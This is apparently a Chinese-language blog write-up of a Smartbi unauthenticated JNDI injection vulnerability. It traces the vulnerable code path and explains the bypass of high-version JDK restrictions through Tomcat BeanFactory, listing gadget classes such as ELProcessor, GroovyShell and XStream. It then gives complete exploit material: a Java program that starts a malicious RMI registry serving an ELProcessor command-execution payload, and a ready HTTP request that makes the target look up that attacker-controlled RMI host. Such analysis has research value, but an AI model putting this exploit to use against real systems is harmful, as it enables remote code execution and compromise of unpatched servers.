Smartbi_JNDI

Smartbi——高版本JNDI注入。

前情提要:

Smartbi存在未授权访问后台接口漏洞,结合 DB2 JDBC 利用方式,可导致 JNDI 注入漏洞。

漏洞分析:

首先从参数接收点入手。在RMIServlet中doGetdoPost用于参数接收

doGet:通过参数jsonCallback来接收className

image-20231128144801429

doPost通过解析RMI信息来获取className、methodName、params。这三个变量在之前的分析文章也经常出现。实际就是要执行的类名、方法名、加参数。

image-20231128151149611

processExecute方法的作用是解析request中的相关信息,并利用反射机制调用指定类的指定方法,并将params转化为对应类型的参数传入到该方法中去执行。最终,将方法执行的结果以字符串形式返回,并赋给resultStr变量。

image-20231128153234000

testConnection从数据库连接池中获取了一个数据库连接对象

image-20231128154707425

getConnection中有很多连接方法。重点关注这个JNDI连接方式。首先从上面接收的url后截取JNDI后面的字符串进行lookup,其中lookup的参数可控,这也是本次漏洞的触发点。

image-20231128154917257

高版本JNDI介绍:

低版本的JNDI注入是可以加载远程恶意类的。但是在高版本官方对远程加载类进行了限制。目前高版本JDK的防护方式主要是针对加载远程的ObjectFactory的加载做限制,只有开启了某些属性后才会通过指定的远程地址获取ObjectFactory的Class并实例化,进而通过ObjectFactory#getObjectInstance来获取返回的真实对象。

但是在加载远程地址获取ObjectFactory前,首先在本地ClassPath下加载指定的ObjectFactory,本地加载ObjectFactory失败后才会加载远程地址的ObjectFactory,所以一个主要的绕过思路就是加载本地ClassPath下的ObjectFactory

我们需要找到一个javax.naming.spi.ObjectFactory接口的实现类,在这个实现类的getObjectInstance可以实现一些恶意操作。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory实现类。

而Smartbi自带的jdk版本是8.0.202.3,正是修复JNDI过后的高版本jdk。

image-20231128155329452

绕过思路:

Tomcat下的绕过比较精彩的并不是EL表达式利用,而是通过BeanFactory#getObjectInstance将这个漏洞的利用面从仅仅只能从ObjectFactory实现类的getObjectInstance方法利用扩展为一次可以调用”任意”类的”任意”方法的机会,但是对调用的类和方法以及参数有些限制。

  • 该类必须包含public无参构造方法
  • 调用的方法必须是public方法
  • 调用的方法只有一个参数并且参数类型为String类型

所以下面我们只要找到某个类的某个方法既满足了上面的条件又实现我们想要的功能。

  • javax.el.ELProcessor#eval执行命令,但是ELProcessor是在Tomcat8才引入的。
  • groovy.lang.GroovyShell#evaluate(java.lang.String)通过Groovy执行命令。
  • com.thoughtworks.xstream.XStream().fromXML(String)通过调用XStream转换XML时的反序列化漏洞导致的RCE,这里之所以选择XStream是因为Xstream的反序列化漏洞和影响版本比较多。JSON的转换的漏洞相对来说通用性不高。
  • org.yaml.snakeyaml.Yaml#load(java.lang.String)加载Yaml时的反序列化漏洞,在SpringBoot中经常会使用snakeyaml来进行yml配置文件的解析。
  • org.mvel2.MVEL#eval(String)执行命令,这里浅蓝师傅文章中提到的是MVEL类是private所以要找上层调用,我在2.0.17中测试Mvel是存在public无参构造方法的,高版本确实换成了private构造方法。所以只能找那里调用了Mvel#eval方法,而org.mvel2.sh.ShellSession#exec调用了Mvel#eval,因此可以通过ShellSession#exec来间接完成调用。
  • com.sun.glass.utils.NativeLibLoader#loadLibrary(String)加载DLL,前提是我们已经将构造好的DLL上传至目标上,所以局限性比较大。

服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServerbypass {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

}
}

漏洞复现:

1
2
3
4
5
POST /smartbi//version/.stub?className=DataSourceService&methodName=testConnection&params=%5B%7B%22driverType%22%3A%22aaa%22%2C%22driver%22%3A%22com.ibm.db2.jcc.DB2Driver%22%2C%22maxConnection%22%3A1%2C%22transactionIsolation%22%3A1%2C%22validationQueryMethod%22%3A3%2C%22url%22%3A%22JNDI%3Armi%3A%2F%2F10.65.14.146%3A1097%2FObject%22%7D%5D HTTP/1.1
Host: 10.65.181.67:18080
Content-Length: 4

Yuanyi

image-20231128160927981


Smartbi_JNDI
http://example.com/2023/11/28/Smartbi-JNDI/
作者
Yuanyi
发布于
2023年11月28日
许可协议